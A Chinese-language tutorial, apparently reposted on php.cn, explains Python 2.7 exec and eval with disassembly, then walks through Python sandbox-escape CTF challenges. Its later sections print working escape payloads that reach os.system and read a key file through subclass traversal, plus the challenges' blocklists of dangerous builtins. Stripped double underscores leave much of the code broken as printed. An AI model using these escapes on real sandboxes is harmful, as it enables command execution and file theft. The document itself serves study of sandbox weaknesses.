首頁  >  文章  >  後端開發  >  分析Python沙箱逃逸問題

分析Python沙箱逃逸問題

高洛峰
高洛峰原創
2017-03-15 13:14:122966瀏覽

[TOC]
(基於 Python 2.7)
在解決 Python 沙箱逃逸這個問題之前,需要先了解 Python 中的一些語法細節。如果已經了解了eval函數的使用方法,就可以跳過第一和第二部分,直接看 3x00 吧。

0x00 表達式的執行

用執行某個表達式的內容,可以用execeval 來進行。

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]

其中,["in" expression ["," expression]]是可選表達式。

1,對程式碼/字串進行運算

exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42

也可以執行多行程式碼,用三個引號括起來就可以:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2,檔案操作

execfile

一方面可以使用execfile,它的功能是執行這個檔案的內容

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

pytest.py的輸出結果為:

Gou Li Guo Jia Sheng Si Yi

execfile執行了pytest.txt裡的內容,注意是執行而非讀取,如果pytest.txt中的內容是'Gou Li Guo Jia Sheng Si Yi',那麼將不會得到任何輸出。
當然,執行一個 .py 檔案也是可以的。而執行 .txt 檔案的要求是,txt 檔案中的內容是 ASCII 。最好還是執行一個 .py 檔案而非 txt 檔案。

這種執行其實是將 execfile 所指向的檔案的內容直接 copy 過去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

此時,pytest 的結果為:

稻花香里说丰年,听取蛤声一片
2

其實就是完全執行一遍檔案裡的內容…而不是當做函數呼叫來執行。

直接使用exec 進行操作

直接使用exec ,也是執行檔的內容,但可以使用in 表達式來使用Global 變數網域。

#C:\Users\Think\Desktop\test1.txt
print poetry
#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

輸出結果為

111

exec 的globals / locals 參數的使用方法

##exec支援兩個可選參數,不支援關鍵字指定參數。 Python 採用的是
靜態作用域(詞法作用域)規則,類似於 C++,在該函數內該變數可用,在函數外不可用。 在 Pascal 語言中,採用的是動態作用域,也就是說,一旦函數被執行,變數就會存在。例如,在函數
g 當中套了個函數f,程式執行到f時,會在f中尋找表達式中的變量,如果找不到,就往外層找,此時g中若存在這個變量,則使用該變量,若不存在,繼續向外逐層查找。 要注意的是,
exec是語法宣告(statement),而非函數(function),而execfile 是函數原因如下:

exec中直接列印外部變數:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456

在函數中列印外部變數:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined

LEGB 規則

exec 中的globals 參數

exec_stmt:    "exec" expression ["in" expression ["," expression]]

globalsdict 物件,它指定了exec 中需要的全域變數。

  • globlas等價於globals()

  • locals等價於globals參數的值

1,globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果:
#43 42
在段程式碼中,

exec中的值是locals,它源自於指定的k,即globals.並且,
globals 取於全域變量,作用於全域變數

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果:
#101
比較:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果:
#101
可以看到,相對於

exec來說,其內部具有三個變量,即age ,b,a在製定之後,b 來自g (global),而a 來自自定的local 變數。
由此可見,
local 取於局部變量,作用於局部變數為了驗證這個結論,對稍加修改:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果:
#101
# print g['a']
#KeyError: 'a'
可以看到,

a#並沒有作用於字典g(全域的),而上面第在一小節提到的globals中,鍵值a已經填入了全域的字典g.

exec 使用結論

可以做出以下

結論我們將
exec之後包含的內容分為三個部分:p1、p2、p3

exec ("""p1""",p2,p3)
  1. 第一部分

    p1,其中的內容是,就是要執行的內容;

  2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3p1中的结果会传回全局变量;

  3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

指令解释在这里:http://www.php.cn/
简要说明下,TOStop-of-stack,就是栈顶。
LOAD_CONST是入栈,RETURN_VALUE 是还原esp
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码,并返回执行后得到的值。

eval(expression[, globals[, locals]])

eval也有两个可选参数,即 globalslocals
使用如下:

print eval("1+1")
#result:
#2

eval 的 globals / locals 参数的使用方法

1,globals
类似于 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2

2,locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE

比较:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值:

exec ("print 1+1")
#result:
#2

如果改成

print exec("1+1")

这就会因为没有返回值(不存在该变量而报错)。
eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax

如果想要打印,则必须在 eval之前使用print
但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE

对比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE

对比 evalexec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE,很明显可以看出并非evalexec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
可以写段不包含这两者的代码来验证:

import dis
def no():
    a = 1+1

dis.dis(no)
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

所以,RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

>>> import('os').system('dir')

或者:

>>> import os
>>> os.system('dir')

也可以达到这个目的。
这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s

如果有一个功能,设计为执行用户所输入的内容,如

print eval("input()")

此时用户输入1+1,那么会得到返回值 2。若前述的

os.system('dir')

则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
然而,可以自己导入这个模块嘛。

import('os').system('dir')

这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

>>> dir('builtins')
['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

这样,就可以写成:

eval("input()",{'builtins':{}})

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)

但是这种情况下builtionsbuitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'builtins':{}})

(来自:http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>,要通过

().class.bases[0]

bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object
这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

从上述情况来看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个:

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              'import',
              'eval',
              'input']
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

make_secure这个模块很好理解,看看下边的:

from re import findall

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:

from re import findall

inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()

在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

4x00 blue-lotus MISC - pyjail Writeup

给了这个:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = ['open',
    'file',
    'execfile',
    'compile',
    'reload',
    'import',
    'eval',
    'input'] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print 'Give me your command!'
while True:
    try:
        inp = findall('\S+', raw_input())[0]
        print "inp=", inp
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

以上是分析Python沙箱逃逸問題的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn